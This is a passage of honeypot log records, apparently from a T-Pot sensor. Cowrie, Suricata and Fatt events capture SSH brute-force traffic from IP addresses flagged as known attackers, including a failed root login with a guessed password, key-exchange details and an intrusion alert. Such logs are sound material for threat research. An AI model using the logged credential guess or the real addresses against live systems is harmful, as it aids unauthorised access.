"@timestamp": "2021-09-20T12:19:50.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
37171	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:19:51.967363+03	2021-09-20 15:30:03.309912+03	{"_id": "mAYlA3wBvYTbRNuE-mc7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.login.failed", "message": "login attempt [root/Q!w2E#r4T%] failed", "session": "454cbf7fecae", "@version": "1", "password": "Q!w2E#r4T%", "username": "root", "timestamp": "2021-09-20T12:19:51.967363Z", "@timestamp": "2021-09-20T12:19:51.967Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
37172	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:19:53.246474+03	2021-09-20 15:30:03.31188+03	{"_id": "mQYlA3wBvYTbRNuE_mck", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "454cbf7fecae", "@version": "1", "duration": 2.7056992053985596, "timestamp": "2021-09-20T12:19:53.246474Z", "@timestamp": "2021-09-20T12:19:53.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
37173	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:19:50.538107+03	2021-09-20 15:30:03.312882+03	{"_id": "kQYlA3wBvYTbRNuE8mdq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.116.239.130:59380 (192.168.176.2:22) [session: 454cbf7fecae]", "session": "454cbf7fecae", "@version": "1", "protocol": "ssh", "src_port": 59380, "dest_port": 22, "timestamp": "2021-09-20T12:19:50.538107Z", "@timestamp": "2021-09-20T12:19:50.538Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
37174	1.116.239.130	109.199.241.180	Suricata	2021-09-20 15:19:50.816545+03	2021-09-20 15:30:03.313918+03	{"_id": "lAYlA3wBvYTbRNuE82dx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:19:50.265021+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1254046638148413, "payload": "AAADzAYUfkypziAlTwFPys+3HDOc5wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59380, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:19:50.816545Z", "@timestamp": "2021-09-20T12:19:50.816Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......~L.. %O.O....3.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
37175	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:19:50.811205+03	2021-09-20 15:30:03.31591+03	{"_id": "lQYlA3wBvYTbRNuE9Gdk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.116.239.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59380, "timestamp": "2021-09-20T12:19:50.811205", "@timestamp": "2021-09-20T12:19:50.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37176	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:19:57.788362+03	2021-09-20 15:30:03.316882+03	{"_id": "nQYmA3wBvYTbRNuEDWfF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9c9a5203eb3e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:19:57.788362Z", "@timestamp": "2021-09-20T12:19:57.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
37189	163.172.88.135	109.199.241.180	Cowrie	2021-09-20 15:20:01.48817+03	2021-09-20 15:30:03.336881+03	{"_id": "ugYmA3wBvYTbRNuEHWdp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.88.135", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.88.135", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "9b5108eea5ae", "@version": "1", "duration": 1.34364652633667, "timestamp": "2021-09-20T12:20:01.488170Z", "@timestamp": "2021-09-20T12:20:01.488Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	FR
37177	81.71.17.12	109.199.241.180	Suricata	2021-09-20 15:19:58.068254+03	2021-09-20 15:30:03.318911+03	{"_id": "nwYmA3wBvYTbRNuEDmfM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "B